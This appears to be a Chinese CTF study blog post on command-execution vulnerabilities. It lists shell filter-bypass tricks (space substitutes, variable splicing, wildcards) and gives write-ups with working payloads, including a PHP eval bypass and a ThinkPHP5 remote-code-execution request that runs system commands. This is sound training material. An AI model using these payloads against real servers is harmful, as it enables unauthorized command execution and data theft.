MENU

命令执行漏洞

December 6, 2020 • Read: 533 • CTF阅读设置


命令执行基础

cmd与bash的一些规则

WindowsLinux
转义字符^\
多条命令执行&&、\\、%0a&&、\\、;、$()、``、%0a、%0d
注释符号::#

&&与||存在惰性原则,and一个不成立就不执行第二个,or若第一个成立也不执行第二个

绕过

绕过空格

有时题目对过滤掉空格,于是我们可以采用以下方法来构造

  1. %00-%ff区间的字符串测试,如%09
  2. 在windows下通过%ProgramFiles:~10,1%获取空格
    ~为截取符%ProgramFile%一般为C:Program Files截取从第十个字符开始的一个字符,即为空格
  3. Linux下

    • $IFS$9
    • {cmd,args}bash有效,对zsh、dash无效
    • cat<>flag 读取文件时
    • e.g.echo$IF$9aaaa {echo,aaaa}
黑名单关键字

有时题目对过滤掉cat flag等关键字,于是我们可以采用以下方法来构造

  1. 变量拼接 Linux:a=c;b=at;c=he;d=llo;$a$b ${c}${d}
    给变量重新赋值 拼接后为cat flag
  2. 使用通配符 Linux:cat /tm?/fl* Windows:type fla*
    ?代表任意一个字符串,*则代表任意个字符创
  3. 借用已有字符串 如果禁用<>?等字符串,则可以借用其他文件中的字符串,利用substr()函数来截取某个特定字符串。

    root@kali:cat test.php
    <?php
    echo test.php;
    ?>
    root@kali:echo `expr substr $(awk NR==1 test.php) 1 1`
    <
    root@kali:echo `expr substr $(awk NR==3 test.php) 2 1`
    >
执行无回显
  1. HTTP通道
  2. DNS通道
  3. 时间盲注
  4. 写入文件,二次返回

[GXYCTF2019]禁止套娃

GitHack

存在git泄露 扫码网站得到index.php

代码分析
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

先传入参数exp,第一个和第三个if过滤掉了协议以及关键词

(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

第二个if表明所给的exp在去掉字母括号后为;

构造.

源码在flag.php

我们可以通过

<?php
print_r(scandir('.'));
?>

来扫码当前目录下的文件,但是.符号已经被过滤

于是我们可以构造.号,有以下两种方法

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

从而获取到了5个文件,flag.php为数组的倒数第二个元素

获取falg.php

为了获取倒数第二个元素,我们可以通过array_rand(array_filp())随机从数组中取值。其中array_flip()交换数组的键和值,array_rand() 从数组中随机取出一个或多个单元。

构造payload

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

由于是随机取值,多刷新几遍网页就可以得到flag

[BJDCTF 2nd]old-hack

发现网页由THINKPHP5驱动,发现其存在漏洞,即可通过Post操作传入下列参数。

_method=__construct&filter[]=system&server[REQUEST_METHOD]=
_method=__construct&filter[]=system&method=get&get[]=

这是应对漏洞的一种格式固定的操作。有以上两种方法。等号后面跟的是命令。

先传参查看目录结构

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls

后获取flag

_method=__construct&filter[]=system&method=get&get[]=cat /flag
Last Modified: November 9, 2021